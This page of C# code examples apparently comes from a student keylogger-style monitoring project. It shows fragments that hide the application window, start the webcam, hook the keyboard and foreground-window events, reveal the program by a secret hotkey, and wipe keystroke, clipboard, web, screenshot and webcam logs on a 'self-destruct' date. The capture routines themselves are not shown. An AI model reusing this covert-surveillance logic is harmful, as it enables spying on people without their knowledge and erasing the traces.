Пример #1
0
 private void simpleButton1_Click(object sender, EventArgs e)
 {
     Cls.clearText_Keystrokes();
     Cls.clearlog_Clipboard();
     Cls.clearlog_LogApp();
     Cls.clearlog_LogWeb();
     Cls.clear_LogScreen();
     Cls.clear_LogWebCam();
 }
Пример #2
0
        private void simpleButton3_Click(object sender, EventArgs e)
        {
            DateTime dt = DateTime.Now;

            if (dt.Date.ToShortDateString() == dateEdit1.DateTime.ToShortDateString())
            {
                Options_Form_Controller.ClearLog_Controller cls = new Options_Form_Controller.ClearLog_Controller();
                cls.clear_LogScreen();
                cls.clearText_Keystrokes();
                cls.clearlog_Clipboard();
                cls.clearlog_LogApp();
                cls.clearlog_LogWeb();
                cls.clear_LogWebCam();
            }
            else
            {
                try
                {
                    DoAn_QLCC.Properties.Settings.Default.Self_destruct_date = dateEdit1.DateTime.ToShortDateString();
                    DoAn_QLCC.Properties.Settings.Default.Save();
                    MessageBox.Show("Saved", "Message");
                }
                catch { MessageBox.Show("Error", "error"); }
            }
        }
Пример #3
0
        public Form1()
        {
            InitializeComponent();

            if (DoAn_QLCC.Properties.Settings.Default.State_warning_text == true)
            {
                MessageBox.Show(DoAn_QLCC.Properties.Settings.Default.Warning_text, "Warning");
            }
            if (DoAn_QLCC.Properties.Settings.Default.SuDung_LanD == true)
            {
                DoAn_QLCC.Properties.Settings.Default.SuDung_LanD = false;
                this.hotKey1.HotKeyPressed += new HotKey.HotKeyEventHandler(this.hotKey1_HotKeyPressed);
                hotKey1.AddHotKey("Control+A");
            }
            else
            {
                DateTime dt = DateTime.Now;
                this.hotKey1.HotKeyPressed += new HotKey.HotKeyEventHandler(this.hotKey1_HotKeyPressed);
                hotKey1.AddHotKey(DoAn_QLCC.Properties.Settings.Default.Hot_Key);
                if (DoAn_QLCC.Properties.Settings.Default.Self_destruct_date == dt.ToShortDateString())
                {
                    Options_Form_Controller.ClearLog_Controller cls = new Options_Form_Controller.ClearLog_Controller();
                    cls.clear_LogScreen();
                    cls.clear_LogWebCam();
                    cls.clearlog_Clipboard();
                    cls.clearlog_LogApp();
                    cls.clearlog_LogWeb();
                    cls.clearText_Keystrokes();
                }
            }
            Start_WebCam();
            this.Hide(); // Timer_ScreenShoot.Interval = 100000; Timer_ScreenShoot.Enabled = true;
                         // Timer_ScreenShoot.Start();

            dele = new WinEventDelegate(WinEventProc);
            IntPtr m_hhook = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, dele, 0, 0, WINEVENT_OUTOFCONTEXT);

            // MessageBox.Show(System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString())
            HookKeyboard();
        }